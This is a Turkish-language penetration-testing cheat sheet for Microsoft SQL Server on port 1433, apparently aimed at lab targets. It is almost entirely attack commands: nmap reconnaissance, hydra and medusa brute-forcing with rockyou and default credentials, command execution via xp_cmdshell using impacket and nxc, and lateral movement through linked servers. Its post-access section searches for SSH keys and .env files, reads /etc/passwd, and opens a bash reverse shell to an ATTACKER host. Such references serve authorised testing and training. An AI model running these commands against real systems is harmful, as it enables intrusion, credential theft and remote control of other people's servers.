1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL database

MSSQL kimlik + xp_cmdshell / linked server / impersonation ile OS ve lateral RCE. Hedef lab IP’si üzerinde komutları 1433 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 1433 doğrula.

2. Brute/login.

3. Priv check.

4. xp_cmdshell/links.

Keşif

nmap -Pn -sV -p1433 TARGET

nmap -Pn -p1433 --script ms-sql-info,ms-sql-brute TARGET

nxc mssql TARGET -u sa -p pass

impacket-mssqlclient sa:pass@TARGET

RCE

impacket-mssqlclient sa:pass@TARGET -windows-auth

ENABLE xp_cmdshell; EXEC xp_cmdshell 'whoami'

nxc mssql TARGET -u u -p p -x whoami

Lateral

EXEC('SELECT @@servername') AT [link]

impacket-mssqlclient ... -windows-auth # impersonate

Derin enum

MSSQL - Microsoft SQL Server için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p1433 TARGET

nmap -Pn -p1433 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:1433' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',1433));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → MSSQL - Microsoft SQL Server

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 1433 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1433

nmap -p1433 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit MSSQL

msfconsole -q -x 'search MSSQL; exit'

nuclei -u https://TARGET:1433 -t cves/ -silent -severity || true

nuclei -u http://TARGET:1433 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 1433

printf '
' | timeout 3 nc -nv TARGET 1433

curl -vk --http1.0 http://TARGET:1433/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

login → xp_cmdshell / link → OS shell